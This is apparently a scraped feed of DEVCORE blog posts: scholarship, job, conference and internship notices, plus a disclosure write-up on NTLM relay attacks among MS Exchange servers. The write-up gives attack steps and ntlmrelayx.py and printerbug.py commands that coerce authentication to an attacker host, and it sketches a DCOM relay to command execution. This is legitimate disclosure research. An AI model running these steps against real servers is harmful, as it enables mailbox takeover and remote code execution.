近來產業紛紛加速數位轉型腳步,資安事件頻傳,加上相關法規的增設及施行,我們也觀察到資安重要性的關注度都大幅提高,為了培養更多人可以理解「駭客思維」、能模擬駭客攻擊情境、找出潛在資安風險,我們將擴大施行「資安人才培育計畫」,透過戴夫寇爾全國資訊安全獎學金贊助資安教育活動等,支持更多志同道合的學子們關注資安議題,及早增強資安技能。

支持下一代資安人才 - 戴夫寇爾啟動「戴夫寇爾全國資訊安全獎學金」計劃

我們從學生時代就熱衷於資安研究,也透過校園課程、社團 NISRA 獲得充實的資安知識,有感於此,我們創立戴夫寇爾後也為母校—天主教輔仁大學、國立臺灣科技大學的學生設立了獎學金計畫,為學生的資安學習之路奉獻一點力量。

此計畫在 2022年(111 學年度)已邁入第 4 年,我們也擴大補助的範疇,首度為全國大專院校學生推出「戴夫寇爾全國資訊安全獎學金」,只要在資訊安全領域有出眾研究成果的學生,皆可以申請「戴夫寇爾全國資訊安全獎學金」補助,幫助大家在求學期間更加專注學習、奠定資安專長,進而形成正向循環。
有意申請者需提出學習資安的動機與歷程,並繳交資安研究或比賽成果,獲選者將能得到最高 2 萬元的研究補助,共 10 名。詳細申請辦法請見以下:

  • 申請資格:全國各大專院校學生皆可以申請。
  • 獎學金金額/名額:每年度取 10 名,每名可獲得獎學金新台幣 20,000 元整,共計 20 萬元。如報名踴躍我們將視申請狀況增加名額。
  • 申請時程
    • 2022/8/31 官網公告獎學金計畫資訊
    • 2022/9/1 - 2022/9/30 開放收件
    • 2022/10/31 公布審查結果,並將於 10 至 11 月間頒發獎學金
  • 申請辦法
    • 請依⽂件檢核表項次順序排列已附⽂件,彙整為⼀份 PDF 檔案,寄⾄ scholarship@devco.re。
    • 信件主旨及 PDF 檔案名稱請符合以下格式:[全國獎學⾦申請] 學校名稱_學號_姓名(範例:[全國獎學⾦申請] 輔仁⼤學_B11100000_王⼩美)。
    • 請申請⼈⾃我檢核並於申請⼈檢核區勾選已附⽂件,若⽂件不⿑或未確實勾選恕不受理申請。
  • 需檢附文件
    • 本獎學⾦申請表
    • 在學證明
    • 最近⼀學期成績單
    • 學習資訊安全之動機與歷程⼼得⼀篇:字數 500 - 2000 字
    • 資訊安全技術相關研究成果:至少須從以下六項目中擇一繳交,包含研討會投稿結果、漏洞獎勵計畫成果、弱點研究成果、資訊安全比賽成果、資安工具研究成果、技術文章發表成果等
    • 社群經營成果:至少須從以下兩項目中擇一繳交,包含校園資安社團、公開資安社群等
    • 推薦函:導師、系主任、其他教授或業界⼈⼠推薦函,⾄少須取得兩封以上推薦函

支持曾經的我們 - 戴夫寇爾續辦 2022 年資安教育活動贊助計劃

身為資安人,我們在學生時期所累積對資安熱情和好奇心,支撐著我們一路走來,不忘初衷地協防台灣安全,同時也期望可以用一點力量為社會帶來貢獻,期盼在未來可以幫助更多社團或社群的力量成為培養專業的養分。

因此,今年度我們也將持續贊助資安教育活動,提供經費予資安相關之社群、社團辦理各項活動,藉此降低資安知識落差,持續推廣資訊安全意識及技能,更進一步凝聚台灣資安社群的力量,幫助台灣培養下一個世代的資安人才。

  • 申請資格:與資安議題相關之社群、社團活動,請由 1 位社團代表人填寫資料。
  • 贊助金額:依各社團活動需求及與戴夫寇爾討論而定,每次最高補助金額為新台幣 20,000 元整。
  • 申請時程:如欲申請此計畫的社團或活動,請於 2022/10/31 前透過以下連結填寫初步資料,我們會在 30 日內通知符合申請資格者提供進一步資料,不符合資格者將不另行通知。
  • 申請連結DEVCORE 2022 年資安教育活動贊助調查
  • 需提供資料
    • 申請資格:申請人需以各資安社群或社團名義提出申請。
    • 聯絡電子郵件
    • 想要辦理的活動類型
    • 想要辦理的活動方式
    • 活動總預算
    • 預計需要贊助金額
    • 代表人姓名、連絡電話
    • 團體名稱
    • 團體單位網址
  • 注意事項
    • 申請案審核將經過戴夫寇爾內部審核機制,並保有最終核決權。
    • 本問卷僅供初步意願蒐集用途,符合申請資格者,戴夫寇爾將於 30 日內通知提供進一步資料供審核,其餘將不另行通知。
    • 戴夫寇爾保有修改、暫停或終止本贊助計畫之權利。

DEVCORE 徵求資安研究員

$
0
0

你對資安研究有滿腔熱血但卻找不到人討論嗎?
常常參加各大 CTF 比賽,卻不知如何將學會的技能發揮在真實世界中嗎?
你也想要為保護世界盡一份心力嗎?

DEVCORE Research Team 成立數年來持續研究最前瞻的資安技術,回報過多個世界級的漏洞,在 Black Hat、DEFCON 等國際資安研討會都能看見我們的戰績,Pwnie Awards、Best Web Hacking Techniques 各種獎項我們也毫不留情地橫掃,在 Pwn2Own 駭客大賽中更是列居首位!然而,資安領域之廣、更迭速度之快,單憑寥寥數人也是力有未逮,

一個人走,可以走得很快;但一群人走,可以走得更遠。

故此,We Need YOU!

現在,DEVCORE Research Team 公開徵求資安研究員囉!不論你是專精於網頁安全,或是對逆向工程情有獨鍾,甚至你喜歡動手拆解硬體,我們不需要你的肝,只需要你對於資安研究的熱忱!我們看重的不是工作經驗,而是對資安傾注過多少心力!

在這裡工作,你將可以得到

  • 與頂尖駭客一起交流、合作的寶貴經驗
  • 實際體驗並挖掘 Real World 漏洞,找到屬於自己的第一個 CVE!
  • 深入業界實戰攻防,真實感受漏洞研究與企業資安的結合

想把駭客作為你的終身職嗎?歡迎各領域的駭客們一起加入!

工作內容

  • 個人研究 70%
    • 對影響世界的產品進行漏洞研究
    • 將找到的漏洞回報廠商並進行漏洞發表
  • 檢測或協助專案 30%
    • 規劃、執行產品安全測試
    • 根據檢測需求,研究相關弱點或開發相關工具
    • 協助紅隊執行專案,提供技術火力支援

工作條件要求

  • 具備漏洞挖掘能力
  • 具備漏洞利用程式撰寫能力
  • 具備基本程式語言開發能力
  • 具備研究熱誠,習慣了解技術本質
  • 具備特定領域資安相關知識,包含但不限於
    • 主流作業系統運作機制、相關漏洞及其利用技術
    • 主流瀏覽器架構、相關漏洞及其利用技術
    • 硬體介面相關攻擊手法、具實作經驗
    • 手機底層韌體架構及防禦機制
    • 網頁應用程式攻擊手法
    • 網路相關攻擊手法

加分條件

  • CTF 比賽經驗
  • pwnable.tw 成績
  • Flare-On 成績
  • 公開的技術 blog/slide/write-ups 或 side projects
  • Bug Bounty / 漏洞回報經驗
  • 資安研討會演講經驗
  • 資安相關教學經驗
  • 喜歡自己動手撰寫工具
  • 主動追蹤並學習最新資安相關技術

起薪範圍

新台幣 80,000 - 100,000 (保證年薪 14 個月)

詳細的工作環境與應徵方式請參考招募頁面

A New Attack Surface on MS Exchange Part 4 - ProxyRelay!

$
0
0

Hi, this is a long-time-pending article. We could have published this article earlier (the original bug was reported to MSRC in June 2021 with a 90-days Public Disclosure Policy). However, during communications with MSRC, they explained that since this is an architectural design issue, lots of code changes and testings are expected and required, so they hope to resolve this problem with a one-time CU (Cumulative Update) instead of the regular Patch Tuesday. We understand their situation and agree to extend the deadline.

Microsoft eventually released Exchange Server 2019 CU 12 and Exchange Server 2016 CU 23 on April 20, 2022. However, this patch did not enable by default. Microsoft didn’t release the patch-activating methods until August 09, 2022. So, we originally had the opportunity to demonstrate our attack at Pwn2Own Vancouver 2021. However, we dropped the idea quickly because our intention is not to earn bounties. We are here to secure the world! You can check the Timeline to know the detailed disclosure process.


Idea

Since Microsoft blocked our Proxy-Related attacks in April 2021, I have been thinking about whether there is a way to bypass the mitigation. During that April patch, Microsoft enhanced the authentication part of CAS Frontend by requiring all HTTP requests that need a Kerberos Ticket to be authenticated first. This enhancement effectively mitigated the attack surface we proposed and stopped unauthenticated HTTP requests accessing the CAS Backend. So Exchange is safe now?

Of course not, and this article is to prove this! Since Microsoft only fixes the problematic code, we proposed several attacks and possible weaknesses in our POC 2021 and HITCON 2021 talks.


Maybe you have heard that our first prediction has already been made in recent ProxyNotShell. The attack reuses the path confusion of ProxyShell but attaches a pre-known authentication instead. It’s solid but it looks it still needs a valid authentication (not sure, still haven’t time to dig into). However, we hinted there is another way not to fight with the auth-enhancement face-to-face during my talks. Now we can finally disclose it :)


Just in case you don’t know, I am a big fan of Printer Bug (kudos to Lee Christensen, Will Schroeder, and Matt Nelson for their amazing talk at DerbyCon 2018). PrinterBug allows an attacker to coerce any domain-joined machine to initiate an SMB connection with its own Machine Account to the attacker via MS-RPRN protocol. Because this behavior works as designed, this hacker-friendly feature has been extensively used for NTLM relaying for years.

In the architecture of Exchange CAS, Backend authorizes an HTTP request to have the ability to impersonate any user by checking whether the login identity has the Extended Right of ms-Exch-EPI-Token-Serialization or not. Also, during the Exchange Server installation, the mailbox server will be added to the Exchange Servers group automatically, and all objects in this Active Directory group have that Token-Serialization right by default.

With the prior knowledge in mind, I come up with a simple idea. It’s common to see multiple Exchange Servers in corporate networks for high availability and site resilience. Can we relay the NTLM authentication among Exchange Servers?

There are several pros to this relay idea. Since it’s a cross-machine relay, it won’t be limited by the same-host restriction. Also, because the NTLM authentication is initiated by the Machine Account of Exchange Server, the relayed authentication owns the Token-Serialization right that allows us to impersonate any user in Exchange services. I believe this is a fantastic idea and would like to explore if it is exploitable!


P.S. This attack surface was also found and reported to MSRC independently by Dlive from Tencent Xuanwu Lab, so you can see we share most of the CVE acknowledgments.


Vulnerabilities

Let’s talk about the vulnerabilities. Since it’s an entire attack surface instead of a single bug, this idea could be applied to different contexts, causing different vulnerabilities. The impact of these vulnerabilities is that an attacker can bypass Exchange authentications or even get code execution without user-interaction. Here are the related CVEs so far:

The following attacks have the similar template, the host EX01 stands for the first Exchange Server, EX02 for the second Exchange Server, and ATTACKER for the attacker-controlled server.

In all attacks, the attacker coerces the first Exchange Server to initiate an NTLM authentication to him, and relay it to the second Exchange Server. We use printerbug.py to coerce a server to initiate an SMB connection and use ntlmrelayx.py to catch the NTLM and relay the authentication to another Exchange Server.


Round 1 - Relay to Exchange FrontEnd

For the first context, we try to relay the authentication to another Frontend of Exchange Server. Since the identity of the relayed authentication is Exchange’s Machine Account which owns the Token-Serialization right, we can impersonate any user! Here we relay the NTLM authentication from EX01 to EX02’s Frontend EWS service as the showcase. We implement the relay-to-frontend-EWS attack by customizing the httpattack.py! Here is a simple overview:

  1. Run the ntlmrelayx.py on the ATTACKER server to wait for NTLM authentications.
  2. Use the printerbug.py to coerce EX01 to initiate an SMB connection to ATTACKER.
  3. Receive the SMB connection on the ATTACKER and relay the NTLM blobs to EX02.
  4. Complete the NTLM handshakes to get full access to the EWS endpoint.
# Terminal 1$ python ntlmrelayx.py -smb2support-t https://EX02/EWS/Exchange.asmx

# Terminal 2$ python printerbug.py EX01 ATTACKER

Theoretically, we can take over the target mailbox by EWS operations. Here we give a demo to dump the secret under administrator’s mailbox.

Patching FrontEnd

Microsoft assigned CVE-2021-33768 and released a patch to fix that Frontend is relay-able in July 2021. Since logging in as Machine Account in Frontend isn’t a regular operation, it’s easy to mitigate the attack by adding a check IsSystemOrMachineAccount() on the Frontend Proxy-Handler to ensure all Frontend logons are not Machine Account.


Round 2 - Relay to Exchange BackEnd

Relaying to Frontend can be easily mitigated by a simple check. How about relaying to Backend? Since Backend verifies the Frontend requests by checking whether it’s a Machine Account or not, mitigating Backend would be more challenging because it’s a regular operation and Backend needs the Machine Account that hash the extended right of ms-Exch-EPI-Token-Serialization to impersonate to the desired user. Here we provide 3 showcases against attacking Backend.

2-1 Attacking BackEnd /EWS

Based on the relay-to-frontend EWS attack we introduced, the earlier attack can be re-applied to Backend seamlessly. The only change is to modify the target port from 443 to 444.

2-2 Attacking BackEnd /RPC

The other showcase is attacking Outlook Anywhere. Exchange defines several internal RPC services that can directly operate the mailbox. Those RPC services have a public interface and can be access through /Rpc/*, and users can access their own mailbox via RPC-over-HTTP protocol, which is described in Microsoft’s MS-RPCH specification. For those who want to understand the underlying mechanism, it’s recommended to read the awesome research Attacking MS Exchange Web Interfaces by Arseniy Sharoglazov for details.

Back to our attack, the core logic is as same as attacking EWS. Because the /Rpc/* is also located at HTTP/HTTPS, it’s also relay-able. Once we bypass the authentication and access the route /Rpc/RpcProxy.dll, we can impersonate as any user and operate his mailbox through the RPC-over-HTTP protocol. To implement the attack, we have ported lots of the Ruler Project to Impacket. As the result of this showcase, we can bypass the authentication by PrinterBug and operates any user’s mailbox through Outlook Anywhere. The entire attack can be illustrated as the following steps:

  1. Establish RCP_IN_DATA and RCP_OUT_DATA channels to EX02 for RPC I/O.
  2. Trigger PrinterBug on EX01 and relay to EX02 to complete NTLM handshakes.
  3. Attach X-CommonAccessToken headers to indicate we are Exchange Admin on both HTTP headers.
  4. Interact with the Outlook Anywhere by lots of the coding works upon MS-OXCRPC and MS-OXCROPS over MS-RPCH…

2-3 Attacking BackEnd /PowerShell

The last showcase we would like to highlight is relaying to Exchange PowerShell. Since we have bypassed the authentication on Backend IIS, it’s possible to perform a ProxyShell-Like exploit again! Once we can execute arbitrary Exchange Cmdlets, it shouldn’t be hard to find a Post-Auth RCE to chain together because we are Exchange Admin. There are hundreds of Cmdlets for the purpose of Exchange Management, and many past cases (CVE-2020-16875, CVE-2020-17083, CVE-2020-17132, CVE-2021-31207 and more) have proven that this is not a difficult task, too.

Since we decided not to participate in Pwn2Own, we did not implement this exploit chain. Here we leave this as an exercise for our readers. ;)

2-4 Patching BackEnd

Microsoft assigned CVE-2022-21979 and patch that in August 2022. This patch permanently eliminates all relay attacks on Backend by forcibly turning on the Extended Protection Authentication in IIS.


Round 3 - Relay to Windows DCOM

This part should be all credited to Dlive. The industry knows MS-DCOM is relay-able since Sylvain Heiniger’s awesome Relaying NTLM authentication over RPC research for long. However, Dlive creates an RCE-chain based on the group inheritance of Exchange Servers in Active Directory environments. Please shout out to him!

The idea of this attack is that the Local Administrators group of Exchange Server includes the group member Exchange Trusted Subsystem, and all Exchange Server are in this group by default. That means the Machine Account EX01$ is also the local administrator of EX02. With this concept in mind, the impact of relay-to-MS-DCOM can be maximized and perfectly applied to Exchange Server now!

Dlive has demonstrated this attack in his DEFCON 29 talk. Although he didn’t publish the exploit code, the Wireshark screenshot in his slidesp45 has already hinted everything and is enough to reproduce. The process could be illustrated as the following:

  1. Coerce EX01 to initiate a connection, and relay the NTLM to the Endpoint Mapper (port 135) of EX02 to get the Interface of MMC20.Application.
  2. Coerce EX01 again, and relay the NTLM to the dynamic port allocated by the EPMapper, and call ExecuteShellCommand(...) under iMMC->Document->ActiveView.
  3. Run arbitrary commands for fun and profit!

Writing the whole exploit is fun, just like mixing the dcomexec.py and ntlmrelayx.py together. It’s recommended to write your own exploit code by hand for those who want to understand the DCOM mechanism more!

Patching DCOM

Microsoft assigned CVE-2021-26414 and patch this DCOM-relay in June 2021. However, due to compatibility, the hardening on the server-side is disabled by default. Server Admin has to manually activate the patch by creating the following registry key. If Server Admin didn’t read the documentation carefully, his Exchange Server is probably still vulnerable after the June patch.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel


As for when will the protection be enforced on server side? According to the FAQ under the CVE page, Microsoft has addressed a three-phase rollout to fully mitigate this issue. Now, it’s on phase one, and the patch won’t be activated by default until June 14, 2022. So, at the time of this writing, this RCE is still exploitable on the latest version of Exchange Server!


P.S. Microsoft hash announce the second phase and enabled the hardening on the server-side by default on June 14, 2022. Exchange Server that installed the latest Windows patch should be safe now


Round 4 - Relay to Other Exchange Services…

Services that use NTLM as their authentication method on Exchange Server might be vulnerable, too. At the time of this writing, we have already found and reported one to MSRC. We believe there should be more, and this is a good target for those who want to discover vulnerabilities on Exchange Server!


Closing

Here, this series has finally come to an end. Over the past two years, many ups and downs made this journey unusual. From the earliest bug collision with the bad actor, ITW panic, to the Pwn2Own hacking competition, and our talks got acceptance at top-level hacker conferences, we have a clear conscience that we didn’t do anything wrong. However, without understanding the context, there were lots of incorrect speculations and inaccurate media reports toward our company and me; there were even low blows to us… that sucks.

Although there were also happy moments, such as winning our first Master-of-Pwn champion at the top-hacking competition Pwn2Own and got the Best Server-Side bug of Pwnie Awards, the gossip and troll really harassed and depressed me a lot…

Congratulate that I can finally close this research and start my new hacking. I am nothing but a security nerd who would rather spend more time on hacks, and please don’t blame me if my sentences are sometimes short and unclear; it’s not easy to express things in an unfamiliar language. It took me about 4x~5x times to arrange a presentation or article in a non-native language; lots of words were lost during refining.

Hope that one day, there will be no language barrier. In a bar, with beers, we can talk about hacks, the culture, and hacking all night!


Timeline

  • Jun 02, 2021 - We reported the vulnerability to Microsoft through the MSRC portal.
  • Jun 03, 2021 - MSRC opened the case. (No. 65594)
  • Jun 03, 2021 - We attached a 90-days Vulnerability Disclosure Policy to MSRC. The deadline is Sep 01, 2021.
  • Jun 11, 2021 - MSRC replied that they are aiming to complete it before September.
  • Jul 22, 2021 - MSRC said the case doesn’t look like it will be fully resolved by September.
  • Jul 25, 2021 - We said we could extend the deadline and let us know the new estimated date.
  • Aug 25, 2021 - We asked for the estimated date again.
  • Sep 01, 2021 - MSRC said this case has been expanding into a design change and the intended release date is December 2021.
  • Sep 08, 2021 - We asked is it possible to shorten the time frame because we would like to disclose this at conferences.
  • Sep 17, 2021 - MSRC replied there are not quick and simple fixes but design level changes, they can’t get the changes in October.
  • Oct 25, 2021 - We decided not to disclose this at conferences and gave the team a fair time for fixing and testing. We hoped this bug could be fixed as scheduled in December 2021.
  • Dec 21, 2021 - We asked for updates on this case.
  • Dec 22, 2021 - MSRC replied they aimed to include this patch in a CU (Cumulative Update) instead of an SU (Security Update) due to the level of changes. The next CU release date will be in March 2022.
  • Apr 04, 2022 - We asked that we don’t see the CU in March. When is the new release date?
  • Apr 13, 2022 - MSRC replied the CU is delayed, and the current release date is on April 20, 2022.
  • Apr 20, 2022 - Microsoft released Exchange Server 2019 CU 12 and Exchange Server 2016 CU 23.
  • Apr 21, 2022 - We found our exploit still works fine on the latest version of Exchange Server and asked is this bug really fixed?
  • Apr 27, 2022 - MSRC replied the CU contain the code change, but it needs to be activated manually or with a script. There are still some testing concerns but the manual activation process will be public on May 10, 2022.
  • May 11, 2022 - MSRC said the documentation and the script are mapped for the Patching Tuesday of June 2022 (Jun 14, 2022).
  • Jun 10, 2022 - MSRC said there are still having some issues on testing and they are looking to release this in July 2022.
  • Jul 04, 2022 - We asked if it will release in this month’s Patching Tuesday.
  • Aug 10, 2022 - Don’t see anything, asked again.
  • Aug 18, 2022 - Microsoft released the CVE and the patch activation documentation!

DEVCORE 2022 年度全國資訊安全獎學金頒獎餐敘順利落幕

$
0
0

2022 年度「戴夫寇爾全國資訊安全獎學金」頒獎餐敘已於 12 月 17 日順利落幕。

一路走來,無論是在我們的學習之路、創業過程中,我們都受到了來自各方的支持與協助,因此我們也希望回饋社會並培育資安人才,以獎學金的方式,協助學生建構正確資安意識及技能外,也能及早瞭解業界現況,降低產學落差。

「戴夫寇爾全國資訊安全獎學金」每年補助 10 名在資安領域研究成果傑出的大專院校學生,每名頒發 2 萬元獎金,希望使這些資安界的明日之星得以無後顧之憂,專注精進資安技術,未來成為獨當一面的資安人才。

此次獲獎同學遍佈全台,分別來自基隆商工資訊科、台灣師範大學資訊工程系、陽明交通大學資訊科學與工程研究所及資電亥客與安全學程、清華大學資訊安全研究所、逢甲大學資訊工程系、台中科技大學資訊管理系、南台科技⼤學資訊工程系等。獲獎同學皆將獲獎視為重要肯定,也表示希望持續精進自己,並將經驗分享給他人、回饋社會,其中也有好幾位同學希望未來能加入 DEVCORE。

「當時受到 DEVCORE 幫助,我說未來一定找機會好好感謝 DEVCORE。但 DEVCORE 回應『只要把這份感謝的心情,拿去幫助其他人,就是最好的回報』,因為這句話,我寫了一些文章,希望能幫助到其他人。在未來,我也會繼續幫助其他人,以此來回報貴公司在資安界無私的奉獻。」清大蘇同學說。

陽明交通大學高同學則表示,將運用這筆獎學金購買原本負擔不起的昂貴物聯網設備及相關工具,以利進行資安相關研究,也將購入資訊相關書籍,提升自己的知識。

期待獲獎同學們未來持續深耕資安知識與技術,在資安舞台上發光發熱!

DEVCORE Conference 2023 即日起開放報名

$
0
0

DEVCORE 很高興地宣佈,純攻擊導向的專業技術研討會 DEVCORE Conference,在暌違三年後,將於 3 月 10 日至 3 月 11 日於台北 TICC 國際會議中心再次盛大舉行,即日起開放報名,同時為慶祝 DEVCORE 創立十週年,除了原有的駭客技術議程外,特別加開企業場。

「DEVCORE 十年來持續提供企業頂尖的主動式資安服務,很高興看到資安與紅隊演練日漸受到台灣業界與政府單位重視,希望將我們一路累積的經驗與能量,不藏私地分享給所有志同道合的夥伴,共同為台灣資安產業的發展並肩作戰。」執行長暨共同創辦人翁浩正(Allen)表示。

紅隊總監暨共同創辦人許復凱(Shaolin)則強調,目前台灣僅有 DEVCORE 願意公開分享紅隊進階攻擊技法,機會相當難得,而此場研討會不僅適合希望更加深入了解攻擊技術的聽眾,也很適合企業藍隊藉此了解紅隊如何看待防禦,從中獲得啟發,以了解可以強化的防禦面向,現場也將與聽眾交流技術及駭客思維。

針對駭客場,許復凱分析,上半場將於聽眾分享紅隊在真實演練時如何運用企業與藍隊難以想像的攻擊手法,下半場則著重分享 DEVCORE 團隊對真實世界產品的研究手法,甚至也有全球白帽駭客最高殿堂 Pwn2Own 等參賽背後秘辛與趣事,場場精華,不容錯過。

駭客場將分享最新漏洞研究及真實紅隊演練案例,包含:從零開始的 Pwn2Own 駭客大賽奪冠之路、如何以 MITRE ATT&CK 框架檢視紅隊演練、SSRF 攻擊手法與實戰精華、Email 現代攻擊手法、如何將廢洞串接成 RCE 漏洞、虛擬機之安全挑戰、物聯網裝置攻擊實例。企業場則將以深入淺出的方式分享台灣資安十年更新迭代、DEVCORE 十年資安奇幻旅程、紅隊演練策略使用方式與真正價值、企業常見資安風險、最讓駭客頭痛的資安防禦機制等。

活動資訊

時間:

  • 企業場:2023/03/10(五)13:00 - 16:30(報名審核制)
  • 駭客場:2023/03/11(六)08:40 - 16:20(收費制)

地點:

  • TICC 台北國際會議中心 201 會議室(台北市信義區信義路五段1號)

費用:

  • 2023/03/10(五)企業場:免費
  • 2023/03/11(六)駭客場(十週年特惠價):早鳥票 3,000 元(限額 150 名);晚鳥票 5,000 元;學生票 1,500 元

議程介紹

2023/03/10(五)企業場:

本場次專為企業決策者及資安管理者量身打造,將從 DEVCORE 為何於 2017 年發現客戶需求、首先推出紅隊演練開始,細數 5 年來我們在近 70 場紅隊演練中的珍貴發現,包含供應鏈中易被忽略的資安風險、資安策略與機制優先順序如何斟酌、資安產品有效性驗證等。

此外,我們也將透過此場研討會,協助企業理解如何打造最適合的資安戰略,並能有效、正確使用紅隊演練此項策略工具,達到識別風險、並發揮紅隊演練最大效益。

在企業場中,我們也特別納入企業最常見的資安問題、如何自我評估安全、如何保護網域服務(AD)等,建立資安自保觀念後,再進一步探討哪些防禦機制與產業尤難攻陷、攻擊者如何情蒐與挑選目標等。

面對永不停歇的網路戰,建構正確的資安策略,將是迎戰的第一步,而唯有了解真實的駭客思維與攻擊方式,才能確保企業立於不敗之地。

2023/03/11(六)駭客場:

本場次將深入探討最新攻擊手法與漏洞,適合資安技術人員及有興趣的資安管理階層參與。

以紅隊思維看藍隊防禦,紅藍攻防中的經典案例
具備豐富指揮作戰經驗的 DEVCORE 紅隊演練隊長 Ding,將於本場議程中分享近 70 場橫跨金融、科技、電商、傳產等各產業經典案例,並以 MITRE ATT&CK 框架,逐一分析實戰經驗中使用的戰術與攻擊手法:初始入侵除了OWASP TOP 10 中常見攻擊技巧外還有哪些方式?攻擊者如何持續潛伏,且同時達成防毒軟體未示警、亦無檔案落地?攻擊者如何在網路實體隔離時仍能橫向移動?攻擊者如何以出人意料的手段提升權限?

讓流量穿過你的巴巴 - 紅隊實戰 SSRF 經典案例
儘管 SSRF 是一個歷史悠久的知名攻擊手法,攻擊者可藉此穿過外網防火牆、入侵內網,但相較於指令注入或任意檔案上傳等類 RCE 漏洞,其嚴重性似乎略遜一籌。紅隊演練專家 Vtim 將以過去於紅隊演練專案中遇到的 SSRF 真實案例,探討其究竟是報告上有名無實的高風險漏洞,或是企業仍不能忽視的重要安全問題。

I wanna know 你信不信 - 現代郵件詐術
去年於國際技能競賽網路安全職類取得銀牌的台灣國手,同時也是 DEVCORE 紅隊演練專家的 Mico,將於此場議程中分享各種企業組織與個人收信方式組合式攻擊手法,並逐一剖析攻擊者如何使用 Email 偽造欺騙以及繞過垃圾郵件過濾器,協助企業防範以 Email 做為初始入侵點的攻擊。

黑魔法、大壞蛋得崩,讓四個臭蟲變成漏洞吧!
再廢的低分漏洞也有春天!雞肋般的弱點,對紅隊而言還有任何利用價值嗎?低風險、利用機會也低的小漏洞,企業真的可以置之不理嗎?DEVCORE 資深紅隊演練專家 Cyku 及 技術專案經理 Crystal 將透過實際案例,分享攻擊者如何將四個 CVSS 幾乎 0.0 分的廢洞化腐朽為神奇,串成 RCE 漏洞。

挑戰百萬賞金!虛擬世界之密室逃脫
以虛擬機分析惡意程式是目前被廣泛採用的分析方式之一,然而其背後卻可能存在易被忽略的安全問題及漏洞。曾獲駭客奧斯卡 Pwnie Awards 「最佳伺服器漏洞」 肯定的資深資安研究員 Meh 將以 VMware 中潛藏於 DHCP 協議的漏洞為例,與聽眾分享虛擬機潛在的資安風險以及其研究成果。

Remote Door Execution
家用物聯網裝置被駭客用以監看或監聽已是廣為人知的資安問題,然而若門鎖也能被遠端遙控開啟,除了個人隱私遭到侵犯,更是居家安全的重大威脅。與研究團隊共同奪得 Pwn2Own Toronto 2022 冠軍的資安研究員 Nini,將於本場議程中分享其如何嘗試透過軟硬體攻擊,最終在電子鎖上發掘可以任意開門的漏洞。

From Zero to Hero - 從零開始的 Pwn2Own 奪冠之路
DEVCORE 自 2020 年開始參與白帽駭客最高殿堂競賽 Pwn2Own,迄今拿下兩次亞軍、兩次冠軍。此場議程將由駭客界頗負盛名、屢屢獲獎並受邀演講的 DEVCORE 首席資安研究員 Orange 及資深資安研究員 Angelboy 共同主講,與會眾分享如何挑選目標、建立團隊默契、試誤與學習、與廠商之間的攻防戰等參賽背後秘辛與趣事。

議程表

2023/03/10(五)企業場:

時間議程講師
13:00 - 13:30來賓報到
13:30 - 13:40開幕
13:40 - 14:10攻擊一日,創業十年DEVCORE 執行長暨共同創辦人 Allen
14:10 - 14:40紅隊紅隊,多少服務假汝之名而行!DEVCORE 商務發展總監 Aaron
14:40 - 15:20中場休息
15:20 - 15:50紅隊常見 Q&A 大解密DEVCORE 資深副總暨共同創辦人Bowen
15:50 - 16:20紅隊的下一步 Ver. 2023DEVCORE 紅隊總監暨共同創辦人Shaolin
16:20 - 16:30閉幕

2023/03/11(六)駭客場:

時間議程講師
08:40 - 09:30來賓報到
09:30 - 09:40開幕
09:40 - 10:10以紅隊思維看藍隊防禦,紅藍攻防中的經典案例DEVCORE 紅隊演練隊長 Ding
10:10 - 10:40讓流量穿過你的巴巴 - 紅隊實戰 SSRF 經典案例DEVCORE 紅隊演練專家 Vtim
10:40 - 11:00中場休息/
11:00 - 11:30I wanna know 你信不信 - 現代郵件詐術DEVCORE 紅隊演練專家 Mico
11:30 - 12:00黑魔法、大壞蛋得崩,讓四個臭蟲變成漏洞吧!DEVCORE 資深紅隊演練專家 Cyku
& 技術專案經理 Crystal
12:00 - 13:30午休
13:30 - 14:00挑戰百萬賞金!虛擬世界之密室逃脫DEVCORE 資深資安研究員 Meh
14:00 - 14:30Remote Door ExecutionDEVCORE 資安研究員 Nini
14:30 - 15:10中場休息
15:10 - 16:10From Zero to Hero - 從零開始的 Pwn2Own 奪冠之路DEVCORE 首席資安研究員 Orange
& 資深資安研究員 Angelboy
16:10 - 16:20閉幕

詳細資訊及報名請至 KKTIX 查詢:https://devcore.kktix.cc/events/devcoreconf2023


DEVCORE 2023 第三屆實習生計畫

$
0
0

DEVCORE 創立迄今已逾十年,持續專注於提供主動式資安服務,並致力尋找各種安全風險及漏洞,讓世界變得更安全。為了持續尋找更多擁有相同理念的資安新銳、協助學生建構正確資安意識及技能,我們成立了「戴夫寇爾全國資訊安全獎學金」,2022 年初也開始舉辦首屆實習生計畫,目前為止成果頗豐、超乎預期,第二屆實習生計畫也將於今年 2 月底告一段落。我們很榮幸地宣佈,第三屆實習生計畫即將登場,若您期待加入我們、精進資安技能,煩請詳閱下列資訊後來信報名!

實習內容

本次實習分為 Binary 及 Web 兩個組別,主要內容如下:

  • Binary
    以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及寫過往漏洞的 Exploit,理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。
    • 漏洞挖掘及研究 70 %
    • 1-day 開發 (Exploitation)
  • Web
    主要內容為研究過往漏洞與近年常見新型態漏洞、攻擊手法,需要製作投影片介紹成果並建置可供他人重現弱點的模擬測試環境 (Lab),另可能需要撰寫或修改可利用攻擊程式進行弱點驗證。
    • 漏洞及攻擊手法研究 70%
    • 建置 Lab 30%

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

  • 2023 年 3 月開始到 2023 年 7 月底,共 5 個月。
  • 每週工作兩天,工作時間為 10:00 – 18:00
    • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
      • 如果居住雙北外可彈性調整(但須每個組別統一)
    • 其餘時間皆為遠端作業

招募對象

大專院校大三(含)以上具有一定程度資安背景的學生

預計招收名額

  • Binary 組:2~3 人
  • Web 組:2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程

實習條件要求

Binary

  • 基本逆向工程及除錯能力
    • 能看懂組合語言並瞭解基本 Debugger 使用技巧
  • 基本漏洞利用能力
    • 須知道 Stack overflow、ROP 等相關利用技巧
  • 基本 Scripting Language 開發能力
    • Python、Ruby
  • 具備分析大型 Open Source 專案能力
    • 以 C/C++ 為主
  • 具備基礎作業系統知識
    • 例如知道 Virtual Address 與 Physical Address 的概念
  • Code Auditing
